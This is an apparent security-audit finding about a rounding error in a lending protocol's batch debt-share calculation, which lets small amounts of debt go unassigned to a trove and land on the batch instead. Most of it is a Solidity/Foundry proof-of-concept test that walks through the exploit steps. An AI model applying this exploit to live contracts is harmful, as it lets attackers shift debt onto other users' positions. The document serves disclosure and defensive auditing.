MEDIUM severity: Batch Management Rounding Error can cause debt from being forgiven to a Trove and charged to the Batch. **Impact**

This finding opens up the precondition to a bigger exploit, discussed in #39

I have yet to find a feasible path to #39 

And am sharing this in the hopes that this can be further prevented

The code in scope presents truncation in 2 key parts of the code base:

When updating batch...

Vulnerable code:
batchDebtSharesDelta = currentBatchDebtShares * debtIncrease / _batchDebt;

_latestTroveData.recordedDebt = _latestBatchData.recordedDebt * batchDebtShares / totalDebtShares;

// SPDX-License-Identifier: MIT

pragma solidity 0.8.18;

import "./TestContracts/DevTestSetup.sol";

contract Redemptions is DevTestSetup {


    bool WITH_INTEREST = true; // Do we need to tick some interest to cause a rounding error?
    // NOTE: Because the interest rebases the share, I think we do
    // Whereas mgmt fees do not rebase the shares, they mint more at same ppfs
    // For this reason I think we need to pay the interest, and we limit it to 12 seconds 
    // One block
    // Which is a pretty realistic setup
    // We fundamentally just need to get a divisor that will cause remainder

    // forge test --match-test test_alex_demo_rebase -vv
    function test_alex_demo_rebase() public{
        // Open Trove
        priceFeed.setPrice(2000e18);

        // Extra Debt (irrelevant / Used to not use deal)
        uint256 CTroveId = openTroveNoHints100pct(C, 100 ether, 100e21, MIN_ANNUAL_INTEREST_RATE + 500);

        uint256 ATroveId = openTroveAndJoinBatchManager(A, 100 ether, MIN_DEBT, B, MIN_ANNUAL_INTEREST_RATE);
        // Sock Puppet Trove | Opened second so we can redeem this one | We need to redeem this one so we can inflate the precision loss
        uint256 BTroveId = openTroveAndJoinBatchManager(B, 100 ether, MIN_DEBT, B, MIN_ANNUAL_INTEREST_RATE);


        // Send enough to have A close that trove
        vm.startPrank(C);
        boldToken.transfer(A, boldToken.balanceOf(C));
        vm.stopPrank();


        // MUST accrue to rebase shares
        // Limit to one block so this attack is basically unavoidable
        if(WITH_INTEREST) {
            vm.warp(block.timestamp + 12);
        }


        // === FUNDAMENTAL REMAINDER = SKIP DEBT POC === ///

        LatestBatchData memory b4Batch = troveManager.getLatestBatchData(address(B));

        // TODO: Open A, Mint 1 extra (forgiven to A)
        _addOneDebtAndEnsureItDoesntMintShares(ATroveId, A); /// @audit MED impact | Skip of debt assignment

        LatestBatchData memory afterBatch = troveManager.getLatestBatchData(address(B));

        assertEq(b4Batch.entireDebtWithoutRedistribution + 1, afterBatch.entireDebtWithoutRedistribution, "Debt is credited to batch");
        
        // Closing A here will credit to B and Batch, that's ok but not enough

        LatestTroveData memory trove = troveManager.getLatestTroveData(BTroveId);
        uint256 bEntireDebtB4 = trove.entireDebt;


        vm.startPrank(A);
        collateralRegistry.redeemCollateral(bEntireDebtB4, 100, 1e18); // 2 debt, 1 share (hopefully)
        vm.stopPrank();

        uint256 sharesAfterRedeem = _getBatchDebtShares(BTroveId);
        assertEq(sharesAfterRedeem, 1, "Must be down to 1, rebased");

        // Verify B has 1 share, 2 debt
        LatestTroveData memory bAfterRedeem = troveManager.getLatestTroveData(BTroveId);
        assertEq(bAfterRedeem.entireDebt, 1, "Must be 1, Should be 2 for exploit"); // NOTE: it's one because of the division on total shares

        closeTrove(A, ATroveId); // Close A (also remove from batch is fine)

        LatestTroveData memory afterClose = troveManager.getLatestTroveData(BTroveId);
        assertEq(afterClose.entireDebt, 2, "Becomes 2"); // Note the debt becomes 2 here because of the round down on what A needs to repay

        // Figure out how we can get it to round as we want it to

        // NOTE: Repeteable block (note the + on the MIN_DEBT, we need to get a rounding error else we won't skip on 1 share)
        uint256 anotherA = openTroveAndJoinBatchManager(A, 100 ether, MIN_DEBT + 1, B, MIN_ANNUAL_INTEREST_RATE);
        _logTrovesAndBatch(B, BTroveId);
        _logTroveInBatch(anotherA);
        closeTrove(A, anotherA);
        _logTrovesAndBatch(B, BTroveId);

        // Same as above
        anotherA = openTroveAndJoinBatchManager(A, 100 ether, MIN_DEBT, B, MIN_ANNUAL_INTEREST_RATE);
        _logTrovesAndBatch(B, BTroveId);
        _logTroveInBatch(anotherA);
        closeTrove(A, anotherA); /// But it's crediting those shares to us
        _logTrovesAndBatch(B, BTroveId);
    }

    // Different POC
    // Create the Rebase
    // Re-instantiate the Trove


    function _fibLoopNoChecks(uint256 amt) internal {
        uint256 anotherA = openTroveAndJoinBatchManager(A, 100 ether, MIN_DEBT, B, MIN_ANNUAL_INTEREST_RATE);
        _addDebtAndEnsureItDoesntMintShares(anotherA, A, amt);
        closeTrove(A, anotherA);
    }

    function _logTroveDebtMathComponents(address batch, uint256 troveId) internal {
        console2.log("_getLatestRecordedDebt", _getLatestRecordedDebt(batch));
        console2.log("_getTotalBatchDebtShares", _getTotalBatchDebtShares(batch));
        console2.log("_getBatchDebtShares", _getBatchDebtShares(troveId));

        _logTroveInBatch(troveId);
        
    }

    function _logTroveInBatch(uint256 troveId) internal {

        LatestTroveData memory troveData = troveManager.getLatestTroveData(troveId);
        console2.log("troveData debt", troveData.entireDebt);

        uint256 batchShares = _getBatchDebtShares(troveId);
        console2.log("batchShares", batchShares);
    }

    function _logTrovesAndBatch(address batch, uint256 troveB) internal {
        console2.log("");
        console2.log("_logTrovesAndBatch");
        // Log Batch Debt
        console2.log("_getLatestBatchDebt", _getLatestBatchDebt(batch));
        // Log all Batch shares
        console2.log("_getTotalBatchDebtShares", _getTotalBatchDebtShares(batch));

        _logTroveInBatch(troveB);
    }

    function _fibonacciLoop(uint256 amt) internal {

        // Open
        uint256 ATroveId = openTroveAndJoinBatchManager(A, 100 ether, MIN_DEBT, B, MIN_ANNUAL_INTEREST_RATE);
        
        LatestTroveData memory b4Add = troveManager.getLatestTroveData(ATroveId);

        // Add debt that wont' be credited (fibonacci)
        _addDebtAndEnsureItDoesntMintShares(ATroveId, A, amt); // TODO: Needs to be made to scale

        LatestTroveData memory afterAdd = troveManager.getLatestTroveData(ATroveId);
        assertEq(b4Add.entireDebt, afterAdd.entireDebt, "Debt is to Batch and not to Trove");


        closeTrove(A, ATroveId); // Close A (also remove from batch is fine)
    }

    function _addDebtAndEnsureItDoesntMintShares(uint256 troveId, address caller, uint256 amt) internal {
  (
        ,
        ,
        ,
        ,
        ,
        ,
        ,
        ,
        ,
        uint256 b4BatchDebtShares
            ) = troveManager.Troves(troveId);

        withdrawBold100pct(caller, troveId, amt);

        (
        ,
        ,
        ,
        ,
        ,
        ,
        ,
        ,
        ,
        uint256 afterBatchDebtShares
            ) = troveManager.Troves(troveId);
        
        assertEq(b4BatchDebtShares, afterBatchDebtShares, "Same Shares");
    }


    function _addOneDebtAndEnsureItDoesntMintShares(uint256 troveId, address caller) internal {
       _addDebtAndEnsureItDoesntMintShares(troveId, caller, 1);
    }

    function _getLatestRecordedDebt(address batch) internal returns (uint256) {
        LatestBatchData memory batchData = troveManager.getLatestBatchData(B);

        return batchData.recordedDebt;
    }

    function _getLatestBatchDebt(address batch) internal returns (uint256) {
        LatestBatchData memory batchData = troveManager.getLatestBatchData(B);

        return batchData.entireDebtWithoutRedistribution;
    }

    function _getBatchDebtShares(uint256 troveId) internal returns (uint256) {
        (
        ,
        ,
        ,
        ,
        ,
        ,
        ,
        ,
        ,
        uint256 batchDebtShares
            ) = troveManager.Troves(troveId);

        return batchDebtShares;
    }

    function _getTotalBatchDebtShares(address batch) internal returns (uint256) {
        (,
        ,
        ,
        ,
        ,
        ,
        ,
        uint256 allBatchDebtShares) = troveManager.getBatch(batch);

        return allBatchDebtShares;
    }
}